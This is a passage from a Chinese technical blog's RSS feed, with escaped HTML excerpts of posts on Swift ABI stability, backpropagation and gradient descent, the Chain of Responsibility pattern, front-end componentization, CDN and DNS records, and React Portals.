&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// - Int在内存中占多少字节&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// - value参数通过哪个寄存器传递&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// - 返回值通过哪个寄存器返回&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// - 函数在二进制中的符号名是什么&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="abi不稳定时期的问题"&gt;ABI不稳定时期的问题&lt;/h3&gt;
&lt;p&gt;在Swift 5.0之前，Swift的ABI是不稳定的。这意味着：&lt;/p&gt;</description></item><item><title>反向传播算法</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/%E5%8F%8D%E5%90%91%E4%BC%A0%E6%92%AD%E7%AE%97%E6%B3%95/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/%E5%8F%8D%E5%90%91%E4%BC%A0%E6%92%AD%E7%AE%97%E6%B3%95/</guid><description>&lt;p&gt;在上一篇文章中，我们构建了一个神经网络，了解了前向传播是如何产生预测的，也知道了损失函数可以衡量预测有多差。但我们遗留了最核心的问题：&lt;strong&gt;那13,002个参数到底该怎么调整，才能让网络变得更好？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是反向传播算法（Backpropagation）要回答的问题。它是神经网络学习的核心引擎，几乎所有现代深度学习的训练都建立在它之上。&lt;/p&gt;
&lt;h2 id="一梯度下降从直觉开始"&gt;一、梯度下降：从直觉开始&lt;/h2&gt;
&lt;h3 id="11-一个简单的类比"&gt;1.1 一个简单的类比&lt;/h3&gt;
&lt;p&gt;想象你站在一片浓雾中的山地上，看不到全貌，但你能感受到脚下地面的倾斜方向。你的目标是找到最低的山谷。最自然的策略是什么？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;顺着脚下最陡的下坡方向走一小步。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是**梯度下降（Gradient Descent）**的核心思想。&lt;/p&gt;
&lt;h3 id="12-数学表述"&gt;1.2 数学表述&lt;/h3&gt;
&lt;p&gt;假设损失函数 $L$ 取决于所有参数 $\theta = (w_1, w_2, ..., w_n, b_1, b_2, ..., b_m)$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;梯度&lt;/strong&gt;是一个向量，指向损失增长最快的方向：&lt;/p&gt;
$$\nabla L = \left(\frac{\partial L}{\partial w_1}, \frac{\partial L}{\partial w_2}, \cdots, \frac{\partial L}{\partial b_m}\right)$$&lt;p&gt;梯度的每个分量告诉我们：如果微微增大某个参数，损失会增加多少。&lt;/p&gt;
&lt;p&gt;要降低损失，我们朝梯度的&lt;strong&gt;反方向&lt;/strong&gt;迈步：&lt;/p&gt;
$$\theta_{\text{new}} = \theta_{\text{old}} - \eta \cdot \nabla L$$&lt;p&gt;其中 $\eta$ 是&lt;strong&gt;学习率（learning rate）&lt;/strong&gt;，控制每一步的步长。&lt;/p&gt;
&lt;h3 id="13-学习率的微妙之处"&gt;1.3 学习率的微妙之处&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center"&gt;学习率&lt;/th&gt;
&lt;th style="text-align: left"&gt;下降行为&lt;/th&gt;
&lt;th style="text-align: left"&gt;结果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;太小&lt;/td&gt;
&lt;td style="text-align: left"&gt;每步挪动极小，到达局部最小值后就停住了，无法跳出&lt;/td&gt;
&lt;td style="text-align: left"&gt;收敛极慢，可能困在局部最小值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;太大&lt;/td&gt;
&lt;td style="text-align: left"&gt;一步跨过了最低点，又跨回来，反复来回&lt;/td&gt;
&lt;td style="text-align: left"&gt;在最低点附近震荡，甚至发散&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;合适&lt;/td&gt;
&lt;td style="text-align: left"&gt;每步大小适中，沿着曲面稳步走向谷底&lt;/td&gt;
&lt;td style="text-align: left"&gt;稳步下降，逐渐逼近最优解&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="14-梯度下降的关键问题"&gt;1.4 梯度下降的关键问题&lt;/h3&gt;
&lt;p&gt;现在整个问题归结为一件事：&lt;strong&gt;怎么高效地计算 $\nabla L$，即损失对每一个参数的偏导数？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你可能会想：对每个参数微微扰动一下，看看损失变化了多少。但如果有13,002个参数，每个参数都扰动一次，就需要做13,002次前向传播——太慢了。&lt;/p&gt;</description></item><item><title>责任链模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%B4%A3%E4%BB%BB%E9%93%BE%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%B4%A3%E4%BB%BB%E9%93%BE%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;责任链模式（Chain of Responsibility Pattern）是一种行为型设计模式，它将请求的发送者和接收者解耦，让多个对象都有机会处理请求。将这些对象连成一条链，并沿着这条链传递请求，直到有一个对象处理它为止。&lt;/p&gt;
&lt;p&gt;责任链模式的核心思想是：避免请求发送者与接收者耦合在一起，让多个对象都有可能接收请求，将这些对象组成一条链，并沿着这条链传递请求，直到有对象处理它为止。&lt;/p&gt;
&lt;h2 id="为什么需要责任链模式"&gt;为什么需要责任链模式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个审批系统，不同金额的报销需要不同级别的人员审批。&lt;/p&gt;
&lt;p&gt;最直接的方式可能是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ExpenseApproval&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;approve&lt;/span&gt;(amount: Double) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; amount &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 组长审批&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; teamLeaderApprove(amount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; amount &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 部门经理审批&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; departmentManagerApprove(amount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; amount &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 总监审批&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; directorApprove(amount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// CEO审批&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ceoApprove(amount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;teamLeaderApprove&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; amount: Double) { ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;departmentManagerApprove&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; amount: Double) { ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;directorApprove&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; amount: Double) { ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ceoApprove&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; amount: Double) { ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;</description></item><item><title>前端组件化开发</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-012/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-012/</guid><description>&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;不知道你有没有遇到过以下场景:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;页面逻辑越来越多,代码越来越庞大,写到后面难以 hold 住所有逻辑,很容易牵一发而动全身.&lt;/li&gt;
&lt;li&gt;你负责的页面好好的突然出现问题,查到最后是别人代码影响.&lt;/li&gt;
&lt;li&gt;同样的逻辑在多个地方重复书写,每次一改要改一批文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随着前端项目复杂度的急剧增加, 上面列出的几种场景就是传统开发中会出现的问题. 也是前端组件化出现的原因.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;项目复杂度增加, 一个页面一个文件需要处理的内容过多.&lt;/li&gt;
&lt;li&gt;重复性劳动多, 效率低&lt;/li&gt;
&lt;li&gt;质量差, 不可控&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="组件化初探"&gt;组件化初探&lt;/h2&gt;
&lt;p&gt;正是由于出现了这样的问题, 为了在越来越复杂的前端项目中提高开发效率和保证开发质量, 各路大神们开始通过各种方式来尝试解决问题.&lt;/p&gt;
&lt;p&gt;曾经非常火的 jQuery 就基于自己建立了 jQuery 插件机制. 你可以将一些常用逻辑进行封装变成 jQuery 插件, 还可以将插件开源进行共享. 比如纯手写会吐血的日期时间选择器,轮播, 多级菜单等等. 你可以在&lt;a href="https://plugins.jquery.com/"&gt;这里&lt;/a&gt;浏览更多jQuery插件.&lt;/p&gt;
&lt;p&gt;jQuery 插件的用法通常是:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;$&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;.select&amp;#34;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;pluginName&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;config&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;除了 jQuery 插件模式, 还有一种常见模式是对象模式. 这种模式现在仍然有很多优秀的库在被我们直接或者间接使用. 比如: &lt;a href="https://swiperjs.com/"&gt;swiper&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对象模式的写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- Slider main container --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;swiper-container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- Additional required wrapper --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;swiper-wrapper&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- Slides --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;swiper-slide&amp;#34;&lt;/span&gt;&amp;gt;Slide 1&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;swiper-slide&amp;#34;&lt;/span&gt;&amp;gt;Slide 2&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;swiper-slide&amp;#34;&lt;/span&gt;&amp;gt;Slide 3&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;path/to/swiper.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mySwiper&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Swiper&lt;/span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#39;.swiper-container&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;direction&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vertical&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;对象模式通过配置创建对象, 通常创建对象的参数中有一项是元素/元素选择器, 通过js代码将逻辑与这个元素紧密绑定.&lt;/p&gt;</description></item><item><title>CDN原理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-012/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-012/</guid><description>&lt;h3 id="cdn"&gt;CDN&lt;/h3&gt;
&lt;p&gt;CDN 即内容分发网络（Content Delivery Network）的简称，是建立在承载网基础上的虚拟分布式网络，能够将源站内容（包括各类动静态资源）智能缓存到全球各节点服务器上。这样不仅方便了用户就近获取内容，提高了资源的访问速度，也分担了源站压力。&lt;/p&gt;
&lt;h3 id="cnamea-记录ns-记录"&gt;CNAME、A 记录、NS 记录&lt;/h3&gt;
&lt;p&gt;DNS ( Domain Name System，域名系统)提供了将域名转换为 IP 地址的服务。为了完成这个转化工作，DNS 的数据库中需要维护相关的数据，这些数据被叫做 RR（Resource Record，资源记录）。资源记录有很多种类型，比如 A、NS、SOA、CNAME 和 PTR 记录。&lt;/p&gt;
&lt;p&gt;大家接触最多的就是 A（Address）记录。A 记录是一条从域名到 IP 地址的映射记录。而 CNAME（Canonical Name）记录是一条从域名到域名的映射记录。它在 CDN 技术中有举足轻重的作用，很好地实现了业务域名与 CDN 系统域名的解耦。简单理解，如果一个域名配置了 A 记录，DNS 就会把它解析成 A 记录指定的 IP 地址；如果一个域名配置了 CNAME 记录，DNS 就会把它解析成 CNAME 记录指定的另外一个域名；A 记录和 CNAME 记录是互斥的，不能同时存在。&lt;/p&gt;
&lt;p&gt;NS （Name Server）记录是和 DNS 服务器相关的一条记录，它指定该域名应该由哪一台 DNS 服务器进行解析。一般把通过 NS 记录指定的 DNS 服务器叫做该域名的权威 DNS 服务器。&lt;/p&gt;
&lt;h3 id="加速域名"&gt;加速域名&lt;/h3&gt;
&lt;p&gt;加速域名指需要使用 CDN 加速的域名。加速域名也是一个域名。加速域名一般配置 CNAME 记录，指向 CDN 网络节点。普通域名一般配置 A 记录，指向提供服务的业务服务器。&lt;/p&gt;</description></item><item><title>Fragment 和 Portals</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/fragment-portals/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/fragment-portals/</guid><description>&lt;h2 id="一portals"&gt;一、Portals&lt;/h2&gt;
&lt;p&gt;某些情况下，我们希望渲染的内容独立于父组件，甚至独立于当前挂在的DOM元素（默认都是挂载到id为root的DOM元素上的）&lt;/p&gt;
&lt;p&gt;Portal提供了一种将子节点渲染到存在于&lt;strong&gt;父组件以外的DOM节点&lt;/strong&gt;的优秀的方案：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-scss" data-lang="scss"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;ReactDOM&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;.createPortal&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;child&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#f92672"&gt;container&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;第一个参数：是任何可渲染的React子元素，例如&lt;strong&gt;一个元素、字符串或fragment&lt;/strong&gt; 第二个参数：是一个DOM元素&lt;/p&gt;
&lt;p&gt;通常来讲，当你从组件的 render 方法返回一个元素时，该元素将被挂载到 DOM 节点中离其最近的父节点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// React 挂载了一个新的 div，并且把子元素渲染其中
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;children&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然而，有时候将子元素插入到 DOM 节点中的不同位置也是有好处的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// React 并没有创建一个新的 div。它只是把子元素渲染到 `domNode` 中。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// `domNode` 是一个可以在任何位置的有效 DOM 节点。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ReactDOM&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createPortal&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;children&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;domNode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一个 portal 的典型用例是当父组件有 overflow: hidden 或 z-index 样式时，但你需要子组件能够在视觉上“跳出”其容器。&lt;strong&gt;例如，对话框、悬浮卡以及提示框&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="案例"&gt;案例&lt;/h3&gt;
&lt;p&gt;比如将h2挂在到id为zs的节点下&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;index.html&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
